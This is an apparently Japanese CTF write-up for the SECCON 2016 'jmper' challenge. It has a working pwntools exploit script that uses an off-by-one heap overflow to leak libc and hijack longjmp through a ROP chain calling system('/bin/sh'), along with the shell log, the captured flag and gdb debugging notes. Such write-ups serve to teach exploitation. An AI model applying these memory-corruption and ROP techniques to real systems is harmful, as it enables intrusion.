exploit
300 points
jmper
Host : jmper.pwn.seccon.jp
Port : 5656
jmper (SHA1 :78e21967c2de5988876df938559a850e24a000af)
libc-2.19.so (SHA1 :8674307c6c294e2f710def8c57925a50e60ee69e)
SECCON{3nj0y_my_jmp1n9_serv1ce}
ぴんく
K_atc
詳しいことは議論参照
from pwn import *
from sys import argv
# context.log_level = 'debug'
def bp():
raw_input("break point: ")
LOCAL = True
if len(argv) > 1 and argv[1] == "r":
LOCAL = False
"""libc
% readelf -s libc-2.24.so| grep " puts@"
403: 0000000000068fe0 528 FUNC WEAK DEFAULT 13 puts@@GLIBC_2.2.5
% readelf -s libc-2.24.so| grep " system@"
1353: 000000000003f4d0 45 FUNC WEAK DEFAULT 13 system@@GLIBC_2.2.5
% strings -tx libc-2.24.so | grep /bin/sh
161359 /bin/sh
% readelf -s libc-2.19.so-8674307c6c294e2f710def8c57925a50e60ee69e | grep " puts@"
400: 000000000006fd60 399 FUNC WEAK DEFAULT 12 puts@@GLIBC_2.2.5
% readelf -s libc-2.19.so-8674307c6c294e2f710def8c57925a50e60ee69e | grep " system"
1337: 0000000000046590 45 FUNC WEAK DEFAULT 12 system@@GLIBC_2.2.5
% strings -tx libc-2.19.so-8674307c6c294e2f710def8c57925a50e60ee69e | grep /bin/sh
17c8c3 /bin/sh
"""
BIN = "./jmper"
e = ELF(BIN)
r = None
offset = {}
if LOCAL:
r = process(BIN)
offset = {"puts": 0x68fe0, "system": 0x3f4d0, "/bin/sh": 0x161359, "one_gadget": 0xb8a38}
else:
r = remote("jmper.pwn.seccon.jp", 5656)
# TODO
offset = {"puts": 0x6fd60, "system": 0x46590, "/bin/sh": 0x17c8c3, "one_gadget": 0xe66bd}
"""
Welcome to my class.
My class is up to 30 people :)
1. Add student.
2. Name student.
3. Write memo
4. Show Name
5. Show memo.
6. Bye :)
"""
def add_student():
r.recvuntil("6. Bye :)\n")
r.sendline("1")
def name_student(_id, name):
r.recvuntil("6. Bye :)\n")
r.sendline("2")
r.recvuntil("ID:")
r.sendline(str(_id))
r.recvuntil("Input name:")
r.sendline(name)
def write_memo(_id, memo):
r.recvuntil("6. Bye :)\n")
r.sendline("3")
r.recvuntil("ID:")
r.sendline(str(_id))
r.recvuntil("Input memo:")
r.sendline(memo)
def show_name(_id):
r.recvuntil("6. Bye :)\n")
r.sendline("4")
r.recvuntil("ID:")
r.sendline(str(_id))
return r.recvline().replace("1. Add student.\n", "")
def show_memo(_id):
r.recvuntil("6. Bye :)\n")
r.sendline("5")
r.recvuntil("ID:")
r.sendline(str(_id))
return r.recvline().replace("1. Add student.\n", "")
def bye():
r.recvuntil("6. Bye :)\n")
r.sendline("6")
add_student() # student 0
add_student() # student 1
log.info('==== [information leak] ====')
write_memo(0, "A" * 0x20 + "\x78")
name_student(0, p64(e.symbols["jmpbuf"]))
ret = show_name(1)
jmpbuf = u64(ret.ljust(8, '\0'))
print "*jmpbuf = %#x" % jmpbuf
write_memo(0, "A" * 0x20 + "\x78")
name_student(0, p64(jmpbuf+0x38))
ret = show_name(1)
rdx_old = u64(ret.ljust(8, '\0'))
print "rdx_old = %#x" % rdx_old
puts_got_plt = 0x601fa0
write_memo(0, "A" * 0x20 + "\x78")
name_student(0, p64(puts_got_plt))
ret = show_name(1)
puts_addr = u64(ret.ljust(8, '\0'))
print "puts_addr = %#x" % puts_addr
libc_base_addr = puts_addr - offset["puts"]
print "libc base address = %#x" % libc_base_addr
system_addr = libc_base_addr + offset["system"]
print "system = %#x" % system_addr
binsh_addr = libc_base_addr + offset["/bin/sh"]
print "'/bin/sh' = %#x" % binsh_addr
write_memo(0, "A" * 0x20 + "\x78")
name_student(0, p64(jmpbuf + 0x18))
ret = show_name(1)
ebp = u64(ret.ljust(8, '\0'))
ebp -= 0x2a0 - 0x1c0
print "ebp = %#x" % ebp
log.info('==== [rewrite jmpbuf] ====')
def ror(v, y):
return ((v >> y) | (v << (64 - y))) & (2 ** 64 - 1)
def rol(v, y):
return ((v << y) | (v >> (64 - y))) & (2 ** 64 - 1)
"""rop
gdb-peda$ asmsearch "pop rdi; ret"
Searching for ASM code: 'pop rdi; ret' in: binary ranges
0x00400cc3 : (5fc3) pop rdi; ret
"""
pop_rdi_addr = 0x00400cc3
ROP = ''.join([
p64(pop_rdi_addr),
p64(binsh_addr), # arg1
p64(system_addr), # system(*)
])
# TARGET_RIP = 0x114514
# TARGET_RIP = libc_base_addr + offset["one_gadget"]
# TARGET_RIP = ebp
# x = ror(rdx_old, 0x11) ^ 0x400c31
# rdx_new = rol(TARGET_RIP ^ x, 0x11)
# JMPBUF = ''.join([
# p64(rdx_new), # jmpbuf+0x38
# ]) # up to 0x20 byes
# write_memo(0, "A" * 0x20 + "\x78")
# name_student(0, p64(jmpbuf + 0x38))
# name_student(1, JMPBUF)
write_memo(0, "A" * 0x20 + "\x78")
name_student(0, p64(ebp + 0x8))
name_student(1, ROP)
for i in range(2, 30):
add_student()
bp()
# evoke longjmp()
r.recvuntil("6. Bye :)\n")
r.sendline("1")
print r.recvline()
r.interactive()
[katc@K_atc jmper]$ python2 jmper2.py r
[+] Opening connection to jmper.pwn.seccon.jp on port 5656: Done
[*] ==== [information leak] ====
*jmpbuf = 0x1374110
rdx_old = 0x0
puts_addr = 0x7eff3c942d60
libc base address = 0x7eff3c8d3000
system = 0x7eff3c919590
'/bin/sh' = 0x7eff3ca4f8c3
ebp = 0x7ffea0869f00
[*] ==== [rewrite jmpbuf] ====
break point:
Exception has occurred. Jump!
[*] Switching to interactive mode
Nice jump! Bye :)
$ ls
flag
jmper
$ cat flag
SECCON{3nj0y_my_jmp1n9_serv1ce}
[*] Got EOF while reading in interactive
気づき:
解法:
TODO:
_longjmp
でrdiを使用するため不可)gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : FULL
gdb-peda$ i func \@plt
All functions matching regular expression "\@plt":
Non-debugging symbols:
0x0000000000400680 puts@plt
0x0000000000400690 printf@plt
0x00000000004006a0 __libc_start_main@plt
0x00000000004006b0 _setjmp@plt
0x00000000004006c0 getchar@plt
0x00000000004006d0 __gmon_start__@plt
0x00000000004006e0 malloc@plt
0x00000000004006f0 setvbuf@plt
0x0000000000400700 longjmp@plt
0x0000000000400710 __isoc99_scanf@plt
0x0000000000400720 exit@plt
gdb-peda$ vmmap
Start End Perm Name
0x00400000 0x00401000 r-xp /home/katc/Dropbox/CTF/SECCON-2016-Quals/jmper/jmper
0x00601000 0x00602000 r--p /home/katc/Dropbox/CTF/SECCON-2016-Quals/jmper/jmper
0x00602000 0x00603000 rw-p /home/katc/Dropbox/CTF/SECCON-2016-Quals/jmper/jmper
0x00603000 0x00624000 rw-p [heap]
0x00007ffff7a3c000 0x00007ffff7bd1000 r-xp /usr/lib/libc-2.24.so
0x00007ffff7bd1000 0x00007ffff7dd0000 ---p /usr/lib/libc-2.24.so
0x00007ffff7dd0000 0x00007ffff7dd4000 r--p /usr/lib/libc-2.24.so
0x00007ffff7dd4000 0x00007ffff7dd6000 rw-p /usr/lib/libc-2.24.so
0x00007ffff7dd6000 0x00007ffff7dda000 rw-p mapped
0x00007ffff7dda000 0x00007ffff7dfd000 r-xp /usr/lib/ld-2.24.so
0x00007ffff7fb2000 0x00007ffff7fb4000 rw-p mapped
0x00007ffff7ff8000 0x00007ffff7ffa000 r--p [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p /usr/lib/ld-2.24.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p /usr/lib/ld-2.24.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p [stack]
0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall]
root@kali:~/Desktop# readelf -r jmper
Relocation section '.rela.dyn' at offset 0x4f8 contains 3 entries:
Offset Info Type Sym. Value Sym. Name + Addend
000000601ff8 000600000006 R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ + 0
000000602010 000c00000005 R_X86_64_COPY 0000000000602010 stdout@GLIBC_2.2.5 + 0
000000602018 000d00000005 R_X86_64_COPY 0000000000602018 stdin@GLIBC_2.2.5 + 0
Relocation section '.rela.plt' at offset 0x540 contains 11 entries:
Offset Info Type Sym. Value Sym. Name + Addend
000000601fa0 000100000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0
000000601fa8 000200000007 R_X86_64_JUMP_SLO 0000000000000000 printf@GLIBC_2.2.5 + 0
000000601fb0 000300000007 R_X86_64_JUMP_SLO 0000000000000000 __libc_start_main@GLIBC_2.2.5 + 0
000000601fb8 000400000007 R_X86_64_JUMP_SLO 0000000000000000 _setjmp@GLIBC_2.2.5 + 0
000000601fc0 000500000007 R_X86_64_JUMP_SLO 0000000000000000 getchar@GLIBC_2.2.5 + 0
000000601fc8 000600000007 R_X86_64_JUMP_SLO 0000000000000000 __gmon_start__ + 0
000000601fd0 000700000007 R_X86_64_JUMP_SLO 0000000000000000 malloc@GLIBC_2.2.5 + 0
000000601fd8 000800000007 R_X86_64_JUMP_SLO 0000000000000000 setvbuf@GLIBC_2.2.5 + 0
000000601fe0 000900000007 R_X86_64_JUMP_SLO 0000000000000000 longjmp@GLIBC_2.2.5 + 0
000000601fe8 000a00000007 R_X86_64_JUMP_SLO 0000000000000000 __isoc99_scanf@GLIBC_2.7 + 0
000000601ff0 000b00000007 R_X86_64_JUMP_SLO 0000000000000000 exit@GLIBC_2.2.5 + 0
gdb-peda$ b *0x400c2c
gdb-peda$ r
gdb-peda$ p/x my_class
$3 = 0x603010
gdb-peda$ p/x jmpbuf
$4 = 0x603110
gdb-peda$ x/2xg my_class-8
0x603008: 0x0000000000000101 0x0000000000000000
Nice jumpさせたい←登録した生徒の人数が30人超えれば自動でなる?→なった(以下参照)
heap bof 案:
student_num
を30よりも大きい値にする制限事項:
loc_400a16:
printf("%s", "Input memo:");
tmp = *(*my_class + sign_extend_64(id) * 0x8) + 0x8;
for (i = 0x0; i <= 0x20; i = i + 0x1) {
c = getchar();
if (c == '\n') {
break;
}
*(int8_t *)student_index = c & 0xff;
tmp = tmp + 0x1;
}
goto loc_40082f;
生徒を30人Allocateし、memoを取ったときのヒープ
gdb-peda$ x/32x *my_class
0xeef1e0: 0x0000000000000000 0x30746e6541414141
0xeef1f0: 0x4141414141414141 0x4141414141414141
0xeef200: 0x4141414141414141 0x0000000000eef241
~~
off-by-one
0xeef210: 0x0000000000000000 0x0000000000000031
0xeef220: 0x0000000000000000 0x0000000000000000
0xeef230: 0x0000000000000000 0x0000000000000000
0xeef240: 0x0000000000000000 0x0000000000000041
0xeef250: 0x0000000000000001 0x31746e6541414141
0xeef260: 0x4141414141414141 0x4141414141414141
0xeef270: 0x4141414141414141 0x0000000000eef241
0xeef280: 0x0000000000000000 0x0000000000000031
0xeef290: 0x0000000000000000 0x0000000000000000
0xeef2a0: 0x0000000000000000 0x0000000000000000
0xeef2b0: 0x0000000000000000 0x0000000000000041
0xeef2c0: 0x0000000000000002 0x32746e6541414141
0xeef2d0: 0x4141414141414141 0x4141414141414141
gdb-peda$ x/16xg jmpbuf
0x1fd0110: 0x0000000000000000 0x913fb48ce746087b
0x1fd0120: 0x0000000000400730 0x00007ffc917484a0
0x1fd0130: 0x0000000000000000 0x0000000000000000
0x1fd0140: 0x913fb48ce7a6087b 0x6ec696e5f8a4087b
0x1fd0150: 0x0000000000000000 0x0000000000000000
0x1fd0160: 0x0000000000000000 0x0000000000000000
0x1fd0170: 0x0000000000000000 0x0000000000000000
0x1fd0180: 0x0000000000000000 0x0000000000000000
gdb-peda$ p/x jmpbuf
$2 = 0x1fd0110
~~
my_class[0] == 0x1fd01e0
~~
my_class[0]->m28 = 0x0000000001fd0220 ←20は書き換えられる
~~~~
①最初:
0x0110: 0x??? memo[0:8]
0x0120: memo[8:16] memo[16:24]
0x0130: memo[24:32] 0x0220(name_ptr)
②off-by-one error後、nameのポインタが生徒1のnameの位置を指す:
0x0110: 0x??? memo[0:8]
0x0120: memo[8:16] memo[16:24]
0x0130: memo[24:32] 0x0258(name_ptr)
... sniped ...
0x0270: 0x??? (name)←生徒0の名前で書き換え可能
0x0280: ... snipped ...
③生徒0の名前(=jmpbuf
【※要リーク】)をつける:
0x0110: 0x??? memo[0:8]
0x0120: memo[8:16] memo[16:24]
0x0130: memo[24:32] 0x0258(name_ptr)
... sniped ...
0x0250: 0x??? jmpbuf
0x0260: ... snipped ...
④生徒1の名前を書く:
my_class[1]->m28 = user_input (0x21bytes)
は
jmpbuf = user_input (0x21bytes)
と同等
f()呼び出し直前のjmpbufの中身:
gdb-peda$ x/16xg jmpbuf
0x603110: 0x0000000000000000 0xe75f6d039676f11f
0x603120: 0x0000000000400730 0x00007fffffffe2a0
0x603130: 0x0000000000000000 0x0000000000000000
0x603140: 0xe75f6d039696f11f 0x18a0927c4d94f11f
0x603150: 0x0000000000000000 0x0000000000000000
0x603160: 0x0000000000000000 0x0000000000000000
0x603170: 0x0000000000000000 0x0000000000000000
0x603180: 0x0000000000000000 0x0000000000000000
gdb-peda$ i r
rax 0x0 0x0
rbx 0x0 0x0
rcx 0x7ffff7dd4ae0 0x7ffff7dd4ae0
rdx 0xe75f6d039696f11f 0xe75f6d039696f11f
rsi 0x0 0x0
rdi 0x603110 0x603110
rbp 0x7fffffffe1c0 0x7fffffffe1c0
rsp 0x7fffffffe1b0 0x7fffffffe1b0
rip 0x400c34 0x400c34 <main+140>
setjmp()直前
RBP: 0x7fffffffe1c0 --> 0x400c60 (<__libc_csu_init>: push r15)
RSP: 0x7fffffffe1b0 --> 0x7fffffffe2a0 --> 0x1
RIP: 0x400c2c (<main+132>: call 0x4006b0 <_setjmp@plt>)
http://www.nurs.or.jp/~sug/soft/super/longjmp.htm
__jmp_buf
の定義は、Linux だと bits/setjmp.h にある。
#if defined __USE_MISC || defined _ASM
# define JB_BX 0 /* それぞれ、レジスタの名前 */
# define JB_SI 1
# define JB_DI 2
# define JB_BP 3 /* ベースポインタ */
# define JB_SP 4 /* スタックポインタ */
# define JB_PC 5 /* プログラムカウンタ */
#endif
#ifndef _ASM
typedef int __jmp_buf[6]; /* 要するに __jmp_buf は int 6個の配列 */
#endif
gdb-peda$ disas __longjmp
Dump of assembler code for function __longjmp:
0x00007fcf4f3e1160 <+0>: mov r8,QWORD PTR [rdi+0x30]
0x00007fcf4f3e1164 <+4>: mov r9,QWORD PTR [rdi+0x8]
0x00007fcf4f3e1168 <+8>: mov rdx,QWORD PTR [rdi+0x38]
0x00007fcf4f3e116c <+12>: ror r8,0x11
0x00007fcf4f3e1170 <+16>: xor r8,QWORD PTR [rip+0x209ad9] # 0x7fcf4f5eac50 <__pointer_chk_guard_local>
0x00007fcf4f3e1177 <+23>: ror r9,0x11
0x00007fcf4f3e117b <+27>: xor r9,QWORD PTR [rip+0x209ace] # 0x7fcf4f5eac50 <__pointer_chk_guard_local>
0x00007fcf4f3e1182 <+34>: ror rdx,0x11
0x00007fcf4f3e1186 <+38>: xor rdx,QWORD PTR [rip+0x209ac3] # 0x7fcf4f5eac50 <__pointer_chk_guard_local>
0x00007fcf4f3e118d <+45>: mov rbx,QWORD PTR [rdi]
0x00007fcf4f3e1190 <+48>: mov r12,QWORD PTR [rdi+0x10]
0x00007fcf4f3e1194 <+52>: mov r13,QWORD PTR [rdi+0x18]
0x00007fcf4f3e1198 <+56>: mov r14,QWORD PTR [rdi+0x20]
0x00007fcf4f3e119c <+60>: mov r15,QWORD PTR [rdi+0x28]
0x00007fcf4f3e11a0 <+64>: mov eax,esi
0x00007fcf4f3e11a2 <+66>: mov rsp,r8
0x00007fcf4f3e11a5 <+69>: mov rbp,r9
0x00007fcf4f3e11a8 <+72>: jmp rdx
End of assembler dump.
https://linuxjm.osdn.jp/html/LDP_man-pages/man3/setjmp.3.html
void longjmp(jmp_buf env, int val);
int setjmp(jmp_buf env);
setjmp, sigsetjmp - 非局所的なジャンプのために、スタックコンテキスト (stack context) を保存する
setjmp() と longjmp(3) は、プログラムの低レベルなサブルーチン において、エラーや割り込みが発生した時の処理に便利である。 setjmp() は、 longjmp(3) によって使われる env に スタックコンテキスト/スタック環境を保存する。 setjmp() を呼び出した 関数が返るときに、そのスタックコンテキストは無効になる。
longjmp() は、env 引き数を指定して呼び出された最後の setjmp(3) によって保存された環境を復元する。 longjmp() の完了後、プログラムの実行は、まるで対応する setjmp(3) の呼び出しが値 val で返って来たかように続行される。 longjmp() は 0 を返すように指示することはできない。 二番目の引き数に 0 を指定して longjmp() が呼ばれた場合は、代わりに 1 が返されることになる。
直接返ってくるときは、 setjmp() と sigsetjmp() は 0 を返し、保存したコンテキストを使って longjmp(3) や siglongjmp(3) から返ってくるときは 0 以外を返す。
TODO
from pwn import *
from sys import argv
# context.log_level = 'debug'
def bp():
raw_input("break point: ")
LOCAL = True
if len(argv) > 1 and argv[1] == "r":
LOCAL = False
BIN = "./jmper"
e = ELF(BIN)
r = None
offset = {}
if LOCAL:
r = process(BIN)
offset = {"setbuf": 0x66e20, "system": 0x3af40, "/bin/sh": 0x15ef08}
else:
r = remote("cheermsg.pwn.seccon.jp", 30527)
offset = {"setbuf": 0x67b20, "system": 0x40310, "/bin/sh": 0x16084c}
"""
Welcome to my class.
My class is up to 30 people :)
1. Add student.
2. Name student.
3. Write memo
4. Show Name
5. Show memo.
6. Bye :)
"""
def add_student():
r.recvuntil("6. Bye :)\n")
r.sendline("1")
def name_student(_id, name):
r.recvuntil("6. Bye :)\n")
r.sendline("2")
r.recvuntil("ID:")
r.sendline(str(_id))
r.recvuntil("Input name:")
r.sendline(name)
def write_memo(_id, memo):
r.recvuntil("6. Bye :)\n")
r.sendline("3")
r.recvuntil("ID:")
r.sendline(str(_id))
r.recvuntil("Input memo:")
r.sendline(memo)
def show_name(_id):
r.recvuntil("6. Bye :)\n")
r.sendline("4")
r.recvuntil("ID:")
r.sendline(str(_id))
return r.recvline().replace("1. Add student.\n", "")
def show_memo(_id):
r.recvuntil("6. Bye :)\n")
r.sendline("5")
r.recvuntil("ID:")
r.sendline(str(_id))
return r.recvline().replace("1. Add student.\n", "")
def bye():
r.recvuntil("6. Bye :)\n")
r.sendline("6")
for i in range(30):
add_student()
r.interactive()
or
By clicking below, you agree to our terms of service.
New to HackMD? Sign up